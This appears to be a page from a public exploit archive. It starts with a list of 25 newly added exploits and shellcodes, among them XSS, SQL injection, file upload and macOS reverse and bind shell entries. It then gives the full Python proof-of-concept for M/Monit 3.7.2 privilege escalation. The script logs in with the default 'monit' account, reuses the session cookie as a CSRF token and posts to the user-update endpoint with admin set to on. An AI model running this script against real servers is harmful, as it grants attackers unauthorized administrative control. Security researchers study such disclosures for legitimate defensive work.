
25 changes to exploits/shellcodes Realterm Serial Terminal 2.0.0.70 - Denial of Service Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH) NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC) Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers qdPM 9.1 - 'type' Cross-Site Scripting qdPM 9.1 - 'search[keywords]' Cross-Site Scripting Master IP CAM 01 3.3.4.2103 - Remote Command Execution MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module CMSsite 1.0 - 'post' SQL Injection M/Monit 3.7.2 - Privilege Escalation Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload Apache CouchDB 2.3.0 - Cross-Site Scripting ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting Comodo Dome Firewall 2.7.0 - Cross-Site Scripting Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload WordPress Plugin WooCommerce - GloBee (cryptocurrency) Payment Gateway 1.1.1 - Payment Bypass / Unauthorized Order Status Spoofing macOS - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (119 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (129 bytes) macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
54 lines
No EOL
1.2 KiB
Python
Executable file
54 lines
No EOL
1.2 KiB
Python
Executable file
#!/usr/env/python3
|
|
|
|
"""
|
|
Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation
|
|
Author: Dolev Farhi
|
|
Vulnerable version: 2.0.151021
|
|
Link: https://mmonit.com
|
|
Date: 2/17/2019
|
|
"""
|
|
|
|
import sys
|
|
import requests
|
|
|
|
MMONIT_URL = 'http://ip.add.re.ss:8080'
|
|
MMONIT_USER = 'monit' # Default built in unprivileged user
|
|
MMONIT_PASS = 'monit'
|
|
|
|
s = requests.Session()
|
|
|
|
s.get(MMONIT_URL + '/')
|
|
|
|
resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS})
|
|
|
|
if 'Invalid username and/or password' in resp.text:
|
|
print('Error logging in')
|
|
sys.exit(1)
|
|
|
|
|
|
zessionid = s.cookies.get_dict()['zsessionid']
|
|
|
|
headers = {
|
|
'CSRFToken':zessionid,
|
|
}
|
|
|
|
resp = s.post(MMONIT_URL + '/admin/users/update',
|
|
headers=headers,
|
|
params={'CSRFTOKEN':zessionid,
|
|
'fullname':'john doe',
|
|
'password':MMONIT_USER,
|
|
'title':'',
|
|
'email':'',
|
|
'phone':'',
|
|
'mobile':'',
|
|
'imname':'',
|
|
'uname':MMONIT_PASS,
|
|
'imtype':None,
|
|
'admin':'on',
|
|
'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C'
|
|
})
|
|
|
|
if resp.status_code == 200:
|
|
print('Success! You are now M/Monit admin')
|
|
else:
|
|
print('Something went wrong') |